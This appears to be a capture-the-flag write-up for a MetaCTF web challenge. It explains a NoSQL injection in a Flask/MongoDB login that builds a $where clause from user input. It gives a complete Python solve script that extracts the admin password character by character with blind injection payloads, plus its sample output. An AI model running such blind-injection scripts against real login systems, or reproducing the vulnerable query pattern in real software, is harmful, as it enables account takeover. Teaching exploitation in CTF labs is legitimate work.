MicroDosing is a web application that looks like a legitimate medication titration research platform. It's got a clean interface and realistic functionality, but there's a NoSQL injection vulnerability in the login system. What makes this interesting is that it's not your typical injection challenge - you can't just use simple boolean injection to bypass authentication.
The app is built with Flask and MongoDB. It has:
The bug is in the login endpoint (/login) where user input gets concatenated into a MongoDB $where clause:
query = { '$where': f"this.username == '{username}' && this.password == '{password}'"}
This gives us a NoSQL injection, but there's a catch:
if user: # They check that the returned user matches the input exactly if user['username'] == username and user['password'] == password: # Login successful else: flash('Something went wrong.', 'error')
The app does two checks:
$where clause to find usersSo if you try '||1==1||', it'll find the admin user but fail the second check and give you "Something went wrong" instead of access to the admin account.
Since we need the actual admin password, we have to extract it character by character. I used binary search to make this efficient:
def extract_password(base_url, session): """Extract admin password using binary search""" print("[+] Extracting admin password...") charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+") password = "" pos = 0 while True: print(f"[+] Position {pos}: ", end="") # Binary search for character left, right = 0, len(charset) - 1 while left <= right: mid = (left + right) // 2 char = charset[mid] payload = f"admin' && this.password[{pos}]<'{char}' || '" if len(payload) > 40: continue result = test_injection(payload, base_url, session) if result == "USER_FOUND": right = mid - 1 else: left = mid + 1 # Find exact character if left < len(charset): exact_char = charset[left] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue # Try character before left position if left > 0: exact_char = charset[left - 1] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue print("End of password") break return password
The exploit checks response patterns to see if injection worked:
def test_injection(payload, base_url, session): """Test a NoSQL injection payload and return response type""" try: data = { 'username': payload, 'password': 'anything' } response = session.post(f"{base_url}/login", data=data, timeout=10) if 'Something went wrong' in response.text: return "USER_FOUND" else: return "NO_USER" except Exception as e: return "ERROR"
#!/usr/bin/env python3import requestsimport stringimport reimport sysdef test_injection(payload, base_url, session): """Test a NoSQL injection payload and return response type""" try: data = { 'username': payload, 'password': 'anything' } response = session.post(f"{base_url}/login", data=data, timeout=10) if 'Something went wrong' in response.text: return "USER_FOUND" else: return "NO_USER" except Exception as e: return "ERROR"def extract_password(base_url, session): """Extract admin password using binary search""" print("[+] Extracting admin password...") charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+") password = "" pos = 0 while True: print(f"[+] Position {pos}: ", end="") # Binary search for character left, right = 0, len(charset) - 1 while left <= right: mid = (left + right) // 2 char = charset[mid] payload = f"admin' && this.password[{pos}]<'{char}' || '" if len(payload) > 40: continue result = test_injection(payload, base_url, session) if result == "USER_FOUND": right = mid - 1 else: left = mid + 1 # Find exact character if left < len(charset): exact_char = charset[left] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue # Try character before left position if left > 0: exact_char = charset[left - 1] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue print("End of password") break return passworddef login_and_get_flag(base_url, session, password): """Login as admin and get the flag""" print(f"[+] Logging in as admin with password: {password}") data = { 'username': 'admin', 'password': password } response = session.post(f"{base_url}/login", data=data, timeout=10) if 'dashboard' in response.text or 'redirect' in response.text: print("[+] Login successful!") # Get flag from admin panel response = session.get(f"{base_url}/admin", timeout=10) matches = re.findall(r'MetaCTF\{[^}]+\}', response.text, re.IGNORECASE) for match in matches: print(f"[+] Flag: {match}") return match print("[-] Flag not found") return None else: print("[-] Login failed") return Nonedef main(): if len(sys.argv) != 2: print("Usage: python solve.py <target_url>") print("Example: python solve.py http://localhost:5000") sys.exit(1) base_url = sys.argv[1].rstrip('/') session = requests.Session() print(f"[+] Target: {base_url}") print() # Extract password password = extract_password(base_url, session) if not password: print("[-] Failed to extract password") sys.exit(1) print(f"[+] Extracted password: {password}") print() # Login and get flag flag = login_and_get_flag(base_url, session, password) if not flag: print("[-] Failed to get flag") sys.exit(1) print("[+] Exploitation successful!")if __name__ == "__main__": main()
$ python3 solve.py http://localhost:5000
[+] Target: http://localhost:5000
[+] Extracting admin password...
[+] Position 0: Found '9'
[+] Position 1: Found 'b'
[+] Position 2: Found '0'
[+] Position 3: Found '1'
[+] Position 4: Found 'a'
[+] Position 5: Found 'c'
[+] Position 6: Found 'c'
[+] Position 7: Found '8'
[+] Position 8: Found '6'
[+] Position 9: Found '2'
[+] Position 10: Found 'c'
[+] Position 11: Found '5'
[+] Position 12: Found '7'
End of password
[+] Extracted password: 9b01acc862c57
[+] Logging in as admin with password: 9b01acc862c57
[+] Login successful!
[+] Flag: MetaCTF{n0_sql_bu7_c3r74inly_4n_inj3ct7i0n}
[+] Exploitation successful!